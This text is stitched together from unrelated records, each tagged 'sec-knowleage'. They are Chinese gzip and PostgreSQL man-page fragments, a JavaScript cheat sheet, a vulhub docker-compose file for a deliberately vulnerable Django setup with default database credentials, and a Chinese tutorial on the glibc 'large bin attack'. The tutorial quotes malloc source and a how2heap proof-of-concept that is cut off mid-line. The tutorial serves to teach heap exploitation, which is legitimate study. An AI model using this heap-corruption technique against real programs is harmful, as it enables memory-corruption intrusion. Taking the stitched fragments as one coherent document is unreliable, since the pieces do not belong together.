zmore(1), zforce(1), gzexe(1), zip(1), unzip(1), compress(1), pack(1), compact(1) .SH "诊断" 正常的退出状态为0;如果出现错误,退出状态为1。如果出现警告信息,退出状态为2。 .PP Usage: gzip [-cdfhlLnNrtvV19] [-S suffix] [file ...] .in +8 在命令行中出现非法的选项。 .in -8 .IR file : not in gzip format .in +8 指定给 .I gunzip 的文件没有被压缩。 .in -8 .IR file: Corrupt input. Use zcat to recover some data. .in +8 压缩文件已损坏。在损坏点以前的数据可以用下列命令恢复。 .in +8 zcat file > recover .in -16 .IR file : compressed with .I xx bits, can only handle .I yy bits .in +8 文件 .I File 是由一个比在当前机器上能处理更多 .I 位 的程序压缩的(采用LZW算法)。用gzip重新压缩该文件,将得到较好的压缩率,并且 占用的内存较少。 .in -8 .IR file : already has .gz suffix -- no change .in +8 gzip认为该程序已经压缩。改变文件名再试。 .in -8 .I file already exists; do you wish to overwrite (y or n)? .in +8 如果你想覆盖该文件回答"y",如果不是回答"n"。 .in -8 gunzip: corrupt input .in +8 探测到一个SIGSEGV非法操作,这通常意味着输入文件已经损坏。 .in -8 .I "xx.x%" .in +8 由于压缩而减少的数据量相对于输入数据的百分比。(仅对应于 .BR \-v 和 .BR \-l 选项。) .in -8 -- not a regular file or directory: ignored .in +8 如果输入文件不是常规文件或目录,(例如符号连接,socket文件,FIFO文件, 设备文件),该文件将保持不变。 .in -8 -- has .I xx other links: unchanged .in +8 该文件有连接,将保持不变。更多信息参见 .IR ln "(1)". 采用 .B \-f 强制压缩多重连接文件。 .in -8 .SH 警告 在向磁带写压缩数据时,通常需要在数据尾部充零以使数据总长度为磁带数据块 长度的整数倍。当用 .I gunzip 对这样的数据解压缩时, .I gunzip 能检测到尾部的无用数据,在缺省情况下将发出一个警告信息。必须采用--quiet 选项才能压制这一警告信息。该选项可以设在 .B GZIP 环境变量中,例如: 在sh下: GZIP="-q" tar -xfz --block-compress /dev/rst0 在csh下: (setenv GZIP -q; tar -xfz --block-compr /dev/rst0 在上面的例子中,gzip被采用了-z选项的GNU tar调用。在磁带上读写压缩数据时, 应确保采用同样的数据块长度(tar的 .B -b 选项)。(本例假定使用的是GNU版本的tar。) .SH 缺陷 如果数据长度超过2GB, 采用--list选项时报告的文件长度不正确。 如果压缩文件位于不能定位的存储介质上,采用--list选项时报告的文件长度为-1,crc 校验码为ffffffff。 在极少数情况下,--best选项得到的压缩率比缺省情况(-6)还差。对于一些高度冗余 的文件, .I compress 比 .I gzip 压缩得更好。 .SH "[中文版维护人]" .B Liu JingSong <js-liu@263.net> .SH "[中文版最新更新]" 2000/12/28 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "COMMIT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME COMMIT \- 提交当前事务 .SH SYNOPSIS .sp .nf COMMIT [ WORK | TRANSACTION ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCOMMIT\fR 提交当前事务。 所有事务的更改都将为其他事务可见,而且保证当崩溃发生时的可持续性。 .SH "PARAMETERS 参数" .TP \fBWORK\fR .TP \fBTRANSACTION\fR 可选关键字。没有作用。 .SH "NOTES 注意" .PP 使用 ROLLBACK [\fBrollback\fR(7)] 语句退出一次事务。 .PP 在一个事务内部发出 COMMIT 不会有问题,但是他将产生一个警告信息。 .SH "EXAMPLES 例子" .PP 要让所有变更永久化: .sp .nf COMMIT; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL92 只声明了两种形式 COMMIT 和 COMMIT WORK。否则完全兼容。 .SH "SEE ALSO 参见" BEGIN [\fBbegin\fR(7)], ROLLBACK [\fBrollback\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
--- title: JavaScript date: 2020-12-24 17:12:25 background: bg-[#ebd94e] tags: - js - web categories: - Programming intro: | A JavaScript cheat sheet with the most important concepts, functions, methods, and more. A complete quick reference for beginners. plugins: - copyCode --- Getting Started ------------ ### Introduction JavaScript is a lightweight, interpreted programming language. - [JSON cheatsheet](/json) _(quickref.me)_ - [Regex in JavaScript](/regex#regex-in-javascript) _(quickref.me)_ ### Console ```javascript // => Hello world! console.log('Hello world!'); // => Hello QuickRef.ME console.warn('hello %s', 'QuickRef.ME'); // Prints error message to stderr console.error(new Error('Oops!')); ``` ### Numbers ```javascript let amount = 6; let price = 4.99; ``` ### Variables ```javascript let x = null; let name = "Tammy"; const found = false; // => Tammy, false, null console.log(name, found, x); var a; console.log(a); // => undefined ``` ### Strings ```javascript let single = 'Wheres my bandit hat?'; let double = "Wheres my bandit hat?"; // => 21 console.log(single.length); ``` ### Arithmetic Operators ```javascript 5 + 5 = 10 // Addition 10 - 5 = 5 // Subtraction 5 * 10 = 50 // Multiplication 10 / 5 = 2 // Division 10 % 5 = 0 // Modulo ``` ### Comments ```javascript // This line will denote a comment /* The below configuration must be changed before deployment. */ ``` ### Assignment Operators ```javascript let number = 100; // Both statements will add 10 number = number + 10; number += 10; console.log(number); // => 120 ``` ### String Interpolation ```javascript let age = 7; // String concatenation 'Tommy is ' + age + ' years old.'; // String interpolation `Tommy is ${age} years old.`; ``` ### let Keyword ```javascript let count; console.log(count); // => undefined count = 10; console.log(count); // => 10 ``` ### const Keyword ```javascript const numberOfColumns = 4; // TypeError: Assignment to constant... numberOfColumns = 8; ``` JavaScript Conditionals ------------ ### if Statement ```javascript const isMailSent = true; if (isMailSent) { console.log('Mail sent to recipient'); } ``` ### Ternary Operator ```javascript var x=1; // => true result = (x == 1) ? true : false; ``` ### Operators {.row-span-2} ```javascript true || false; // true 10 > 5 || 10 > 20; // true false || false; // false 10 > 100 || 10 > 20; // false ``` #### Logical Operator && ```javascript true && true; // true 1 > 2 && 2 > 1; // false true && false; // false 4 === 4 && 3 > 1; // true ``` #### Comparison Operators ```javascript 1 > 3 // false 3 > 1 // true 250 >= 250 // true 1 === 1 // true 1 === 2 // false 1 === '1' // false ``` #### Logical Operator ! ```javascript let lateToWork = true; let oppositeValue = !lateToWork; // => false console.log(oppositeValue); ``` #### Nullish coalescing operator ?? ```javascript null ?? 'I win'; // 'I win' undefined ?? 'Me too'; // 'Me too' false ?? 'I lose' // false 0 ?? 'I lose again' // 0 '' ?? 'Damn it' // '' ``` ### else if ```javascript const size = 10; if (size > 100) { console.log('Big'); } else if (size > 20) { console.log('Medium'); } else if (size > 4) { console.log('Small'); } else { console.log('Tiny'); } // Print: Small ``` ### switch Statement ```javascript const food = 'salad'; switch (food) { case 'oyster': console.log('The taste of the sea'); break; case 'pizza': console.log('A delicious pie'); break; default: console.log('Enjoy your meal'); } ``` ### == vs === ```javascript 0 == false // true 0 === false // false, different type 1 == "1" // true, automatic type conversion 1 === "1" // false, different type null == undefined // true null === undefined // false '0' == false // true '0' === false // false ``` The `==` just check the value, `===` check both the value and the type. JavaScript Functions ------------ ### Functions ```javascript // Defining the function: function sum(num1, num2) { return num1 + num2; } // Calling the function: sum(3, 6); // 9 ``` ### Anonymous Functions ```javascript // Named function function rocketToMars() { return 'BOOM!'; } // Anonymous function const rocketToMars = function() { return 'BOOM!'; } ``` ### Arrow Functions (ES6) {.row-span-2} #### With two arguments ```javascript const sum = (param1, param2) => { return param1 + param2; }; console.log(sum(2,5)); // => 7 ``` #### With no arguments ```javascript const printHello = () => { console.log('hello'); }; printHello(); // => hello ``` #### With a single argument ```javascript const checkWeight = weight => { console.log(`Weight : ${weight}`); }; checkWeight(25); // => Weight : 25 ``` #### Concise arrow functions ```javascript const multiply = (a, b) => a * b; // => 60 console.log(multiply(2, 30)); ``` [Arrow function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) available starting ES2015 ### return Keyword ```javascript // With return function sum(num1, num2) { return num1 + num2; } // The function doesn't output the sum function sum(num1, num2) { num1 + num2; } ``` ### Calling Functions ```javascript // Defining the function function sum(num1, num2) { return num1 + num2; } // Calling the function sum(2, 4); // 6 ``` ### Function Expressions ```javascript const dog = function() { return 'Woof!'; } ``` ### Function Parameters ```javascript // The parameter is name function sayHello(name) { return `Hello, ${name}!`; } ``` ### Function Declaration ```javascript function add(num1, num2) { return num1 + num2; } ``` JavaScript Scope ------------ ### Scope ```javascript function myFunction() { var pizzaName = "Margarita"; // Code here can use pizzaName } // Code here can't use pizzaName ``` ### Block Scoped Variables ```javascript const isLoggedIn = true; if (isLoggedIn == true) { const statusMessage = 'Logged in.'; } // Uncaught ReferenceError... console.log(statusMessage); ``` ### Global Variables ```javascript // Variable declared globally const color = 'blue'; function printColor() { console.log(color); } printColor(); // => blue ``` ### let vs var ```javascript for (let i = 0; i < 3; i++) { // This is the Max Scope for 'let' // i accessible ✔️ } // i not accessible ❌ ``` --- ```javascript for (var i = 0; i < 3; i++) { // i accessible ✔️ } // i accessible ✔️ ``` `var` is scoped to the nearest function block, and `let` is scoped to the nearest enclosing block. ### Loops with closures ```javascript{.wrap} // Prints 3 thrice, not what we meant. for (var i = 0; i < 3; i++) { setTimeout(_ => console.log(i), 10); } ``` --- ```javascript{.wrap} // Prints 0, 1 and 2, as expected. for (let j = 0; j < 3; j++) { setTimeout(_ => console.log(j), 10); } ``` The variable has its own copy using `let`, and the variable has shared copy using `var`. JavaScript Arrays ------------ ### Arrays ```javascript const fruits = ["apple", "orange", "banana"]; // Different data types const data = [1, 'chicken', false]; ``` ### Property .length ```javascript const numbers = [1, 2, 3, 4]; numbers.length // 4 ``` ### Index ```javascript // Accessing an array element const myArray = [100, 200, 300]; console.log(myArray[0]); // 100 console.log(myArray[1]); // 200 ``` ### Mutable chart | | add | remove | start | end | |:----------|:---:|:------:|:-----:|:---:| | `push` | ✔ | | | ✔ | | `pop` | | ✔ | | ✔ | | `unshift` | ✔ | | ✔ | | | `shift` | | ✔ | ✔ | | {.show-header} ### Method .push() ```javascript // Adding a single element: const cart = ['apple', 'orange']; cart.push('pear'); // Adding multiple elements: const numbers = [1, 2]; numbers.push(3, 4, 5); ``` Add items to the end and returns the new array length. ### Method .pop() ```javascript const fruits = ["apple", "orange", "banana"]; const fruit = fruits.pop(); // 'banana' console.log(fruits); // ["apple", "orange"] ``` Remove an item from the end and returns the removed item. ### Method .shift() ```javascript let cats = ['Bob', 'Willy', 'Mini']; cats.shift(); // ['Willy', 'Mini'] ``` Remove an item from the beginning and returns the removed item. ### Method .unshift() ```javascript let cats = ['Bob']; // => ['Willy', 'Bob'] cats.unshift('Willy'); // => ['Puff', 'George', 'Willy', 'Bob'] cats.unshift('Puff', 'George'); ``` Add items to the beginning and returns the new array length. ### Method .concat() ```javascript const numbers = [3, 2, 1] const newFirstNumber = 4 // => [ 4, 3, 2, 1 ] [newFirstNumber].concat(numbers) // => [ 3, 2, 1, 4 ] numbers.concat(newFirstNumber) ``` if you want to avoid mutating your original array, you can use concat. JavaScript Loops ------------ ### While Loop ```javascript while (condition) { // code block to be executed } let i = 0; while (i < 5) { console.log(i); i++; } ``` ### Reverse Loop ```javascript const fruits = ["apple", "orange", "banana"]; for (let i = fruits.length - 1; i >= 0; i--) { console.log(`${i}. ${fruits[i]}`); } // => 2. banana // => 1. orange // => 0. apple ``` ### Do…While Statement ```javascript x = 0 i = 0 do { x = x + i; console.log(x) i++; } while (i < 5); // => 0 1 3 6 10 ``` ### For Loop ```javascript for (let i = 0; i < 4; i += 1) { console.log(i); }; // => 0, 1, 2, 3 ``` ### Looping Through Arrays ```javascript for (let i = 0; i < array.length; i++){ console.log(array[i]); } // => Every item in the array ``` ### Break ```javascript for (let i = 0; i < 99; i += 1) { if (i > 5) { break; } console.log(i) } // => 0 1 2 3 4 5 ``` ### Continue ```javascript for (i = 0; i < 10; i++) { if (i === 3) { continue; } text += "The number is " + i + "<br>"; } ``` ### Nested ```javascript for (let i = 0; i < 2; i += 1) { for (let j = 0; j < 3; j += 1) { console.log(`${i}-${j}`); } } ``` ### for...in loop ```javascript const fruits = ["apple", "orange", "banana"]; for (let index in fruits) { console.log(index); } // => 0 // => 1 // => 2 ``` ### for...of loop ```javascript const fruits = ["apple", "orange", "banana"]; for (let fruit of fruits) { console.log(fruit); } // => apple // => orange // => banana ``` JavaScript Iterators {.cols-2} ------------ ### Functions Assigned to Variables ```javascript let plusFive = (number) => { return number + 5; }; // f is assigned the value of plusFive let f = plusFive; plusFive(3); // 8 // Since f has a function value, it can be invoked. f(9); // 14 ``` ### Callback Functions ```javascript const isEven = (n) => { return n % 2 == 0; } let printMsg = (evenFunc, num) => { const isNumEven = evenFunc(num); console.log(`${num} is an even number: ${isNumEven}.`) } // Pass in isEven as the callback function printMsg(isEven, 4); // => The number 4 is an even number: True. ``` ### Array Method .reduce() ```javascript const numbers = [1, 2, 3, 4]; const sum = numbers.reduce((accumulator, curVal) => { return accumulator + curVal; }); console.log(sum); // 10 ``` ### Array Method .map() ```javascript const members = ["Taylor", "Donald", "Don", "Natasha", "Bobby"]; const announcements = members.map((member) => { return member + " joined the contest."; }); console.log(announcements); ``` ### Array Method .forEach() ```javascript const numbers = [28, 77, 45, 99, 27]; numbers.forEach(number => { console.log(number); }); ``` ### Array Method .filter() ```javascript const randomNumbers = [4, 11, 42, 14, 39]; const filteredArray = randomNumbers.filter(n => { return n > 5; }); ``` JavaScript Objects {.cols-2} ------------ ### Accessing Properties ```javascript const apple = { color: 'Green', price: { bulk: '$3/kg', smallQty: '$4/kg' } }; console.log(apple.color); // => Green console.log(apple.price.bulk); // => $3/kg ``` ### Naming Properties ```javascript // Example of invalid key names const trainSchedule = { // Invalid because of the space between words. platform num: 10, // Expressions cannot be keys. 40 - 10 + 2: 30, // A + sign is invalid unless it is enclosed in quotations. +compartment: 'C' } ``` ### Non-existent properties ```javascript const classElection = { date: 'January 12' }; console.log(classElection.place); // undefined ``` ### Mutable {.row-span-2} ```javascript const student = { name: 'Sheldon', score: 100, grade: 'A', } console.log(student) // { name: 'Sheldon', score: 100, grade: 'A' } delete student.score student.grade = 'F' console.log(student) // { name: 'Sheldon', grade: 'F' } student = {} // TypeError: Assignment to constant variable. ``` ### Assignment shorthand syntax ```javascript const person = { name: 'Tom', age: '22', }; const {name, age} = person; console.log(name); // 'Tom' console.log(age); // '22' ``` ### Delete operator ```javascript const person = { firstName: "Matilda", age: 27, hobby: "knitting", goal: "learning JavaScript" }; delete person.hobby; // or delete person[hobby]; console.log(person); /* { firstName: "Matilda" age: 27 goal: "learning JavaScript" } */ ``` ### Objects as arguments ```javascript const origNum = 8; const origObj = {color: 'blue'}; const changeItUp = (num, obj) => { num = 7; obj.color = 'red'; }; changeItUp(origNum, origObj); // Will output 8 since integers are passed by value. console.log(origNum); // Will output 'red' since objects are passed // by reference and are therefore mutable. console.log(origObj.color); ``` ### Shorthand object creation ```javascript const activity = 'Surfing'; const beach = { activity }; console.log(beach); // { activity: 'Surfing' } ``` ### this Keyword ```javascript const cat = { name: 'Pipey', age: 8, whatName() { return this.name } }; console.log(cat.whatName()); // => Pipey ``` ### Factory functions ```javascript // A factory function that accepts 'name', // 'age', and 'breed' parameters to return // a customized dog object. const dogFactory = (name, age, breed) => { return { name: name, age: age, breed: breed, bark() { console.log('Woof!'); } }; }; ``` ### Methods ```javascript const engine = { // method shorthand, with one argument start(adverb) { console.log(`The engine starts up ${adverb}...`); }, // anonymous arrow function expression with no arguments sputter: () => { console.log('The engine sputters...'); }, }; engine.start('noisily'); engine.sputter(); ``` ### Getters and setters ```javascript const myCat = { _name: 'Dottie', get name() { return this._name; }, set name(newName) { this._name = newName; } }; // Reference invokes the getter console.log(myCat.name); // Assignment invokes the setter myCat.name = 'Yankee'; ``` JavaScript Classes ------------ ### Static Methods ```javascript class Dog { constructor(name) { this._name = name; } introduce() { console.log('This is ' + this._name + ' !'); } // A static method static bark() { console.log('Woof!'); } } const myDog = new Dog('Buster'); myDog.introduce(); // Calling the static method Dog.bark(); ``` ### Class ```javascript class Song { constructor() { this.title; this.author; } play() { console.log('Song playing!'); } } const mySong = new Song(); mySong.play(); ``` ### Class Constructor ```javascript class Song { constructor(title, artist) { this.title = title; this.artist = artist; } } const mySong = new Song('Bohemian Rhapsody', 'Queen'); console.log(mySong.title); ``` ### Class Methods ```javascript class Song { play() { console.log('Playing!'); } stop() { console.log('Stopping!'); } } ``` ### extends ```javascript // Parent class class Media { constructor(info) { this.publishDate = info.publishDate; this.name = info.name; } } // Child class class Song extends Media { constructor(songData) { super(songData); this.artist = songData.artist; } } const mySong = new Song({ artist: 'Queen', name: 'Bohemian Rhapsody', publishDate: 1975 }); ``` JavaScript Modules {.cols-2} ------------ ### Export ```javascript // myMath.js // Default export export default function add(x,y){ return x + y } // Normal export export function subtract(x,y){ return x - y } // Multiple exports function multiply(x,y){ return x * y } function duplicate(x){ return x * 2 } export { multiply, duplicate } ``` ### Import ```javascript // main.js import add, { subtract, multiply, duplicate } from './myMath.js'; console.log(add(6, 2)); // 8 console.log(subtract(6, 2)) // 4 console.log(multiply(6, 2)); // 12 console.log(duplicate(5)) // 10 // index.html <script type="module" src="main.js"></script> ``` ### Export Module ```javascript // myMath.js function add(x,y){ return x + y } function subtract(x,y){ return x - y } function multiply(x,y){ return x * y } function duplicate(x){ return x * 2 } // Multiple exports in node.js module.exports = { add, subtract, multiply, duplicate } ``` ### Require Module ```javascript // main.js const myMath = require('./myMath.js') console.log(myMath.add(6, 2)); // 8 console.log(myMath.subtract(6, 2)) // 4 console.log(myMath.multiply(6, 2)); // 12 console.log(myMath.duplicate(5)) // 10 ``` JavaScript Promises {.cols-2} ------------ ### Promise states {.row-span-2} ```javascript const promise = new Promise((resolve, reject) => { const res = true; // An asynchronous operation. if (res) { resolve('Resolved!'); } else { reject(Error('Error')); } }); promise.then((res) => console.log(res), (err) => console.error(err)); ``` ### Executor function ```javascript const executorFn = (resolve, reject) => { resolve('Resolved!'); }; const promise = new Promise(executorFn); ``` ### setTimeout() ```javascript const loginAlert = () =>{ console.log('Login'); }; setTimeout(loginAlert, 6000); ``` ### .then() method ```javascript const promise = new Promise((resolve, reject) => { setTimeout(() => { resolve('Result'); }, 200); }); promise.then((res) => { console.log(res); }, (err) => { console.error(err); }); ``` ### .catch() method ```javascript const promise = new Promise((resolve, reject) => { setTimeout(() => { reject(Error('Promise Rejected Unconditionally.')); }, 1000); }); promise.then((res) => { console.log(value); }); promise.catch((err) => { console.error(err); }); ``` ### Promise.all() ```javascript const promise1 = new Promise((resolve, reject) => { setTimeout(() => { resolve(3); }, 300); }); const promise2 = new Promise((resolve, reject) => { setTimeout(() => { resolve(2); }, 200); }); Promise.all([promise1, promise2]).then((res) => { console.log(res[0]); console.log(res[1]); }); ``` ### Avoiding nested Promise and .then() ```javascript const promise = new Promise((resolve, reject) => { setTimeout(() => { resolve('*'); }, 1000); }); const twoStars = (star) => { return (star + star); }; const oneDot = (star) => { return (star + '.'); }; const print = (val) => { console.log(val); }; // Chaining them all together promise.then(twoStars).then(oneDot).then(print); ``` ### Creating ```javascript const executorFn = (resolve, reject) => { console.log('The executor function of the promise!'); }; const promise = new Promise(executorFn); ``` ### Chaining multiple .then() ```javascript const promise = new Promise(resolve => setTimeout(() => resolve('dAlan'), 100)); promise.then(res => { return res === 'Alan' ? Promise.resolve('Hey Alan!') : Promise.reject('Who are you?') }).then((res) => { console.log(res) }, (err) => { console.error(err) }); ``` ### Fake http Request with Promise ```javascript const mock = (success, timeout = 1000) => { return new Promise((resolve, reject) => { setTimeout(() => { if(success) { resolve({status: 200, data:{}}); } else { reject({message: 'Error'}); } }, timeout); }); } const someEvent = async () => { try { await mock(true, 1000); } catch (e) { console.log(e.message); } } ``` JavaScript Async-Await {.cols-2} ------------ ### Asynchronous ```javascript function helloWorld() { return new Promise(resolve => { setTimeout(() => { resolve('Hello World!'); }, 2000); }); } const msg = async function() { //Async Function Expression const msg = await helloWorld(); console.log('Message:', msg); } const msg1 = async () => { //Async Arrow Function const msg = await helloWorld(); console.log('Message:', msg); } msg(); // Message: Hello World! <-- after 2 seconds msg1(); // Message: Hello World! <-- after 2 seconds ``` ### Resolving Promises ```javascript let pro1 = Promise.resolve(5); let pro2 = 44; let pro3 = new Promise(function(resolve, reject) { setTimeout(resolve, 100, 'foo'); }); Promise.all([pro1, pro2, pro3]).then(function(values) { console.log(values); }); // expected => Array [5, 44, "foo"] ``` ### Async Await Promises ```javascript function helloWorld() { return new Promise(resolve => { setTimeout(() => { resolve('Hello World!'); }, 2000); }); } async function msg() { const msg = await helloWorld(); console.log('Message:', msg); } msg(); // Message: Hello World! <-- after 2 seconds ``` ### Error Handling ```javascript let json = '{ "age": 30 }'; // incomplete data try { let user = JSON.parse(json); // <-- no errors console.log( user.name ); // no name! } catch (e) { console.error( "Invalid JSON data!" ); } ``` ### Aysnc await operator ```javascript function helloWorld() { return new Promise(resolve => { setTimeout(() => { resolve('Hello World!'); }, 2000); }); } async function msg() { const msg = await helloWorld(); console.log('Message:', msg); } msg(); // Message: Hello World! <-- after 2 seconds ``` JavaScript Requests ------------ ### JSON ```json const jsonObj = { "name": "Rick", "id": "11A", "level": 4 }; ``` Also see: [JSON cheatsheet](/json) ### XMLHttpRequest ```javascript const xhr = new XMLHttpRequest(); xhr.open('GET', 'mysite.com/getjson'); ``` `XMLHttpRequest` is a browser-level API that enables the client to script data transfers via JavaScript, NOT part of the JavaScript language. ### GET ```javascript const req = new XMLHttpRequest(); req.responseType = 'json'; req.open('GET', '/getdata?id=65'); req.onload = () => { console.log(xhr.response); }; req.send(); ``` ### POST {.row-span-2} ```javascript const data = { fish: 'Salmon', weight: '1.5 KG', units: 5 }; const xhr = new XMLHttpRequest(); xhr.open('POST', '/inventory/add'); xhr.responseType = 'json'; xhr.send(JSON.stringify(data)); xhr.onload = () => { console.log(xhr.response); }; ``` ### fetch api {.row-span-2} ```javascript fetch(url, { method: 'POST', headers: { 'Content-type': 'application/json', 'apikey': apiKey }, body: data }).then(response => { if (response.ok) { return response.json(); } throw new Error('Request failed!'); }, networkError => { console.log(networkError.message) }) } ``` ### JSON Formatted ```javascript fetch('url-that-returns-JSON') .then(response => response.json()) .then(jsonResponse => { console.log(jsonResponse); }); ``` ### promise url parameter fetch api ```javascript fetch('url') .then( response => { console.log(response); }, rejection => { console.error(rejection.message); ); ``` ### Fetch API Function ```javascript fetch('https://api-xxx.com/endpoint', { method: 'POST', body: JSON.stringify({id: "200"}) }).then(response => { if(response.ok){ return response.json(); } throw new Error('Request failed!'); }, networkError => { console.log(networkError.message); }).then(jsonResponse => { console.log(jsonResponse); }) ``` ### async await syntax {.col-span-2} ```javascript const getSuggestions = async () => { const wordQuery = inputField.value; const endpoint = `${url}${queryParams}${wordQuery}`; try{ const response = await fetch(endpoint, {cache: 'no-cache'}); if(response.ok){ const jsonResponse = await response.json() } } catch(error){ console.log(error) } } ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ALTER AGGREGATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ALTER AGGREGATE \- 修改一个聚集函数的定义 .SH SYNOPSIS .sp .nf ALTER AGGREGATE \fIname\fR ( \fItype\fR ) RENAME TO \fInewname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBALTER AGGREGATE\fR 改变一个聚集函数的定义。目前唯一可用的功能是对聚集函数进行重命名。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现有的聚集函数的名字(可以有模式修饰)。 .TP \fB\fItype\fB\fR 聚集函数的参数数据类型,如果函数接受任何数据类型,则是 *。 .TP \fB\fInewname\fB\fR 聚集函数的新名字。 .SH "EXAMPLES 例子" .PP 给一个接受 integer 类型参数的叫 \fImyavg\fR 的聚集函数重命名为 \fImy_average\fR: .sp .nf ALTER AGGREGATE myavg(integer) RENAME TO my_average; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准里面没有 \fBALTER AGGREGATE\fR 语句。 .SH "SEE ALSO 参见" CREATE AGGREGATE [\fBcreate_aggregate\fR(7)], DROP AGGREGATE [\fBdrop_aggregate\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
version: '2' services: web: image: vulhub/django:1.11.4 volumes: - .:/app ports: - "8000:8000" depends_on: - db environment: - DATABASE_URL=postgres://postgres:postgres@db:5432/postgres db: image: postgres:9.6-alpine environment: - POSTGRES_PASSWORD=postgres
sec-knowleage
# Large Bin Attack 分配跟 large bin 有关的 chunk,要经过 fastbin,unsorted bin,small bin 的分配,建议在学习 large bin attack 之前搞清楚 fastbin,unsorted bin 分配的流程。 ## large bin attack 这种攻击方式主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。 以 2.33 版本的 libc 为例,从 4052 行开始就是对 largebin chunk 的入 bin 操作 ```cpp else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } ``` 在 2.29 及以下的版本中,根据 unsorted chunk 的大小不同 ```cpp fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; ``` 在 unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。 由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用。 ```cpp if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; ``` 所以有两种利用方法。 在 2.30 版本新加入了对 largebin 跳表的完整性检查,使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk,通过 ```cpp victim->bk_nextsize->fd_nextsize = victim; ``` 实现利用,也就是将本 chunk 的地址写到 `bk_nextsize + 0x20` 处。 ## 通过实例学习 large bin attack 的原理 这里我们拿 how2heap 中的 large bin attack 中的源码来分析 ```c // 主要漏洞在这里 /* This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; [...] mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; For more details on how large-bins are handled and sorted by ptmalloc, please check the Background section in the aforementioned link. [...] */ // gcc large_bin_attack.c -o large_bin_attack -g #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n"); unsigned long stack_var1 = 0; unsigned long stack_var2 = 0; fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2); unsigned long *p1 = malloc(0x320); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2); fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20); unsigned long *p2 = malloc(0x400); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2); fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20); unsigned long *p3 = malloc(0x400); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20); free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0])); void* p4 = malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90)); free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0])); //------------VULNERABILITY----------- fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the 